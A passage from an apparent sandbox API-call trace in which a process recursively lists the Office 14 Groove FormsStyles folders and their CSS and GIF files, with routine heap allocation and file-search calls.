Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.276] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.276] GetProcessHeap () returned 0x550000 [0203.276] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.276] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0203.277] GetProcessHeap () returned 0x550000 [0203.277] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.277] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0203.277] GetProcessHeap () returned 0x550000 [0203.277] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0203.277] GetProcessHeap () returned 0x550000 [0203.277] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0203.287] GetProcessHeap () returned 0x550000 [0203.287] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0203.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0203.290] GetProcessHeap () returned 0x550000 [0203.290] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.291] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.292] GetProcessHeap () returned 0x550000 [0203.292] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.292] GetProcessHeap () returned 0x550000 [0203.292] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.292] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.293] GetProcessHeap () returned 0x550000 [0203.293] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.293] GetProcessHeap () returned 0x550000 [0203.293] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.544] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.544] GetProcessHeap () returned 0x550000 [0203.544] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.544] GetProcessHeap () returned 0x550000 [0203.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.606] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.606] GetProcessHeap () returned 0x550000 [0203.606] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.607] GetProcessHeap () returned 0x550000 [0203.607] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.609] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.609] GetProcessHeap () returned 0x550000 [0203.609] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.609] GetProcessHeap () returned 0x550000 [0203.609] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.609] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.610] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.611] GetProcessHeap () returned 0x550000 [0203.611] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.611] GetProcessHeap () returned 0x550000 [0203.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.614] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.614] GetProcessHeap () returned 0x550000 [0203.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.614] GetProcessHeap () returned 0x550000 [0203.615] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.616] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.616] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0203.616] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0203.616] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0203.616] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.616] GetProcessHeap () returned 0x550000 [0203.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.616] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1091, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0203.616] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0203.617] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0203.617] GetProcessHeap () returned 0x550000 [0203.617] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.618] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.618] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0203.618] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0203.618] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0203.618] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0203.618] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.618] GetProcessHeap () returned 0x550000 [0203.618] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.618] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0203.618] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="OLIVEG~1.CSS")) returned 1 [0203.618] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x706, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0203.618] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0203.618] GetProcessHeap () returned 0x550000 [0203.618] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.619] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.619] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0203.619] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0203.619] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0203.619] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.619] GetProcessHeap () returned 0x550000 [0203.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.619] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0203.619] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="SLATEB~1.CSS")) returned 1 [0203.619] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0203.619] GetProcessHeap () returned 0x550000 [0203.619] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 